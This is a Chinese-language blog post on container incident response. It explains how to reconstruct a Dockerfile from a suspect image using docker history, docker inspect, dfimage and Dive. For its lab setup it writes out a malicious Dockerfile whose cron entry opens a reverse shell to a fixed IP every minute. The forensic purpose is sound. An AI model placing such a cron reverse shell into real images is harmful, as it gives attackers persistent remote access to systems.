Docker鏡像解析獲取Dockerfile文件
作者：Bypass
當涉及到容器鏡像的安全時，特別是在出現鏡像投毒引發的安全事件時，追溯鏡像的來源和解析Dockerfile文件是應急事件處理的關鍵步驟。在這篇博客中，我們將探討如何從鏡像解析獲取Dockerfile文件，這對容器安全至關重要。
01、概述
當涉及到容器鏡像的安全時，特別是在出現鏡像投毒引發的安全事件時，追溯鏡像的來源和解析Dockerfile文件是應急事件處理的關鍵步驟。在這篇博客中，我們將探討如何從鏡像解析獲取Dockerfile文件，這對容器安全至關重要。
02、環境準備
利用Dockfile構建一個反彈shell的惡意鏡像：
FROM ubuntu:20.04
RUN apt-get update &&\
apt-get install -y cron &&\
(echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]03、鏡像解析Dockerfile
3.1 鏡像文件解析
在鏡像的元數據信息中，到鏡像構建所使用的 Dockerfile，可以成功解析 Docker 鏡像并獲取其 Dockerfile 內容，以了解鏡像的構建過程和引入的軟件包及配置。
docker save -o test.tar test:v1.0
tar -xvf test.tar
3.2 docker命令參數
使用docker history 命令查看指定鏡像的創建歷史，展示只能看到一部分，可以加上 --no-trunc，就可以看到全部信息。
docker history test:v1.0
docker history test:v1.0 --no-trunc
使用docker inspect命令來查看Docker鏡像的詳細信息，通過--format參數可自行定義輸出信息，獲取鏡像的配置信息。
#查看鏡像的配置信息
docker inspect --format='{{json .Config}}' test:v1.0
3.3 dfimage
dfimage是一款第三方工具，可用來從鏡像中提取 Dockerfile
（1）生成快捷方式，使用dfimage可以輸出很詳細的 Dockerfile。
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 test:v1.0
3.4 Docker鏡像分析神器 Dive
Dive是一款Docker鏡像分析神器，分析和瀏覽 Docker 容器鏡像內部，可以很詳細的看到每一層文件的變化。
alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0
圖片
責任編輯：武曉燕
來源：
Bypass
